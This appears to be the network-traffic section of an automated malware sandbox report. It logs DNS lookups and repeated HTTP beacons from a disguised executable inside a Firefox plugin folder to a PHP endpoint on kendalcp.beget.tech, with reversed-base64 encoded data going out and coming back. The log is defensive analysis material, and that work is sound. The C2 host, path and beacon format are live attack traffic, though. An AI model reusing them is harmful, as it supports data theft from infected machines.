Nov 7, 2024 21:12:14.345066071 CET	192.168.2.4	1.1.1.1	0x40c9	Standard query (0)	clientsettings.roblox.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:17.358077049 CET	192.168.2.4	1.1.1.1	0xfa3b	Standard query (0)	www.nodejs.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:18.537092924 CET	192.168.2.4	1.1.1.1	0x79b9	Standard query (0)	kendalcp.beget.tech	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 21:12:09.893657923 CET	1.1.1.1	192.168.2.4	0xf012	No error (0)	getsolara.dev		104.21.93.27	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:09.893657923 CET	1.1.1.1	192.168.2.4	0xf012	No error (0)	getsolara.dev		172.67.203.125	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:14.353398085 CET	1.1.1.1	192.168.2.4	0x40c9	No error (0)	clientsettings.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 21:12:14.353398085 CET	1.1.1.1	192.168.2.4	0x40c9	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 21:12:14.353398085 CET	1.1.1.1	192.168.2.4	0x40c9	No error (0)	edge-term4.roblox.com	edge-term4-fra4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 21:12:14.353398085 CET	1.1.1.1	192.168.2.4	0x40c9	No error (0)	edge-term4-fra4.roblox.com		128.116.44.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:17.366066933 CET	1.1.1.1	192.168.2.4	0xfa3b	No error (0)	www.nodejs.org		104.20.23.46	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:17.366066933 CET	1.1.1.1	192.168.2.4	0xfa3b	No error (0)	www.nodejs.org		104.20.22.46	A (IP address)	IN (0x0001)	false
Nov 7, 2024 21:12:18.600914955 CET	1.1.1.1	192.168.2.4	0x79b9	No error (0)	kendalcp.beget.tech		5.101.153.173	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

getsolara.dev

clientsettings.roblox.com

www.nodejs.org

kendalcp.beget.tech

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:18.921452045 CET	591	OUT	GET /03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1&4e7502ef07216f4df503d363b4584dad=b37e3e015ca59c90c17488162b3a141d&6d87c9ed05422ad98f508ceb2bec8047=QY4QjY2EjYiFWO3IjM5kDZmVjNiZDZxUWZhRWNiRGMyQGOhhjM2MmZ&DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1 HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:12:19.985234976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2148 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 69 59 44 4f 35 51 54 4e 30 59 6a 4e 35 4d 32 4e 33 63 7a 4d 77 49 32 59 30 63 44 4e 34 59 57 4d 6d 52 32 59 6b 46 57 59 33 45 6d 4e 69 6f 6a 49 30 51 57 59 30 6b 54 59 33 45 54 4f 77 55 7a 4d 30 55 44 4d 6a 4e 54 5a 31 59 7a 4d 77 4d 6a 5a 7a 45 32 4d 32 63 54 4f 35 51 6a 49 73 49 69 5a 52 39 32 64 50 6c 6d 53 35 70 46 57 53 6c 6e 57 59 70 56 64 69 42 6a 54 31 6b 6c 4d 31 77 32 59 75 70 55 4d 5a 46 54 4f 31 46 32 56 6b 46 6a 59 49 4a 6b 64 61 64 31 59 70 6c 30 51 42 74 45 54 44 6c 30 61 4a 70 32 62 70 39 55 52 61 56 6c 56 57 6c 7a 63 69 4a 6a 53 30 56 6d 56 4f 56 54 57 79 55 44 62 6a 35 6d 53 78 6b 56 4d 35 55 58 59 58 52 57 4d 69 68 6b 51 32 70 31 56 6a 6c 57 53 44 46 30 53 4d 4e 55 53 72 6c 6b 61 76 6c 6d 59 48 6c 54 61 69 68 46 62 55 56 32 56 4f 56 6e 57 59 70 55 65 6b 64 6c 54 6d 4a 57 62 73 35 47 5a 58 68 33 64 69 4a 6a 56 75 6c 55 61 42 64 32 51 70 64 58 61 53 5a 6b 54 57 6c 6b 61 76 6c 6d 57 58 4a 6c 64 52 4e 44 62 71 4a 57 62 57 6c 33 59 75 5a 6c 61 59 4a 54 4e 77 70 31 4d 57 4e [TRUNCATED] Data Ascii: ==QfiYDO5QTN0YjN5M2N3czMwI2Y0cDN4YWMmR2YkFWY3EmNiojI0QWY0kTY3ETOwUzM0UDMjNTZ1YzMwMjZzE2M2cTO5QjIsIiZR92dPlmS5pFWSlnWYpVdiBjT1klM1w2YupUMZFTO1F2VkFjYIJkdad1Ypl0QBtETDl0aJp2bp9URaVlVWlzciJjS0VmVOVTWyUDbj5mSxkVM5UXYXRWMihkQ2p1VjlWSDF0SMNUSrlkavlmYHlTaihFbUV2VOVnWYpUekdlTmJWbs5GZXh3diJjVulUaBd2QpdXaSZkTWlkavlmWXJldRNDbqJWbWl3YuZlaYJTNwp1MWN3YHlDbalXSnlUQvNXStljbZdlTwFWRNZHWHZkahhlSsJWVFl2TppEbi1WO2o1VxAHZGlTdhdFZxIGSCZnWXNWaJNUQLx0QJdXTplkNJ5mTxE2VShWVuxmaZhlSxklMOJkYtlDckdkRqJmM4ZmYtxmbkdFe3JmMW5WSpF0ZDl2dp5kaBBzTDRzMPNFMp9UaKxmWIZFMhdFZ1JmM4ZmYtxmbkdFe3JmMW5WSpF0ZDl2dp5EVZdXTDRDeNlXS2kUbWtGZYJFckdkRzhlM1AnWzY1cjdUOspVeJdWSB92cJ1mRqFGWKxmYVV0ZhhkU5JGM0k2TppEbidlRPR2R1wmYtxGMi1WOqhlM1AnWzY1cjdUOspVeJdWSB92cJtmRPlkavlmWXJldRNjU1p1V1AHZHVjdZFTO1F2VkFjYIJkdad1Ypl0QBtETHZleidkRt9UaKxGZHZUeWVkRXR2VWZmYtxmbkdFe3JmMW5WSpF0ZDl2d39UaKZlUXVDcYJTNwp1MWN3YHlDbalXSnlUQvNXSu5EbkdkRwUVeCtmWYJFcixWVp9UaKxmYXZ0TlhlSwImbWZXWxkTdhdFZxIGSCZnWXNWaJNUQLx0QKRlVTlkNJ1mVrJGMOVzYuJVdkdVOqhlM1AnWzY1cjdUOsp
Nov 7, 2024 21:12:19.985315084 CET	212	IN	Data Raw: 56 65 4a 64 57 53 42 39 32 63 4a 70 57 56 35 35 55 61 4a 5a 54 53 74 5a 31 61 69 42 6a 54 6f 4a 32 56 53 5a 6d 59 74 78 6d 62 6b 64 46 65 33 4a 6d 4d 57 35 57 53 70 46 30 5a 44 6c 32 64 70 6c 6b 61 76 6c 6d 57 58 4a 6c 64 52 4a 6a 52 73 4e 57 62 Data Ascii: VeJdWSB92cJpWV55UaJZTStZ1aiBjToJ2VSZmYtxmbkdFe3JmMW5WSpF0ZDl2dplkavlmWXJldRJjRsNWbGZmYtxmbkdFe3JmMW5WSpF0ZDl2dpNmMGRjWWFVaPlmSsJ2VG9kYtlDcaJjV5hlM1AnWzY1cjdUOspVeJdWSB92cJxGaVlkavlmWXJldRJTN2F2Vkx2YslTdhdFZxIGSCZ
Nov 7, 2024 21:12:19.985327005 CET	946	IN	Data Raw: 6e 57 58 4e 57 61 4a 4e 55 51 4c 78 30 51 4b 70 58 57 59 68 47 62 57 4e 55 53 32 6b 55 62 31 59 58 59 58 52 47 62 6a 78 57 4f 31 46 32 56 6b 46 6a 59 49 4a 6b 64 61 64 31 59 70 6c 30 51 42 74 45 54 44 70 55 64 61 64 6c 56 7a 4a 32 52 73 78 55 53 Data Ascii: nWXNWaJNUQLx0QKpXWYhGbWNUS2kUb1YXYXRGbjxWO1F2VkFjYIJkdad1Ypl0QBtETDpUdadlVzJ2RsxUSq9WalhlUwlVM5UXYXRWMihkQ2p1VjlWSDF0SMNUS1BVbFZHWEhHdiJTT1p1R1AnYYhGaiNVNzQ2MjZHWDlzYP5mT3RGSS9GUpRGdiJTT1p1R1AnYYhGaiNVNzQ2MjZHWDlzYP5mT3RGSS9mS6FTbahlSvl0RFhTSH
Nov 7, 2024 21:12:20.175069094 CET	2158	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCN [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:12:20.467453003 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:20.186223984 CET	763	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI4QDZyYjMhNDNjhzMlhDM2E2N5IDNlN2Y0cDZyIjY0IjY2gTZzUjMyIiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:12:22.145292997 CET	220	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/8.3.8
Nov 7, 2024 21:12:22.146841049 CET	1350	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&34a2de7b1a83a5e05a67f173acc3f19f=QX9JSOKNVT1FERYNGbYplcKhVWshnMZRXQYJmb4ZEW0kTbaxmSYF2RCNVWzh3VhZTOXR1Y4FzYsh3VhdkQTJGaKNjW2pESVNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzl0UZJTSXlFdBR0TyklaOBTQql1N1MlZ3FERNdXQE10dBpGT4RzQNVXQ6VWavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI4QDZyYjMhNDNjhzMlhDM2E2N5IDNlN2Y0cDZyIjY0IjY2g [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:12:22.440937996 CET	220	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/8.3.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:25.486144066 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:12:26.435663939 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:31.453850031 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:12:32.402861118 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:37.422343969 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:12:38.373841047 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:43.390821934 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) 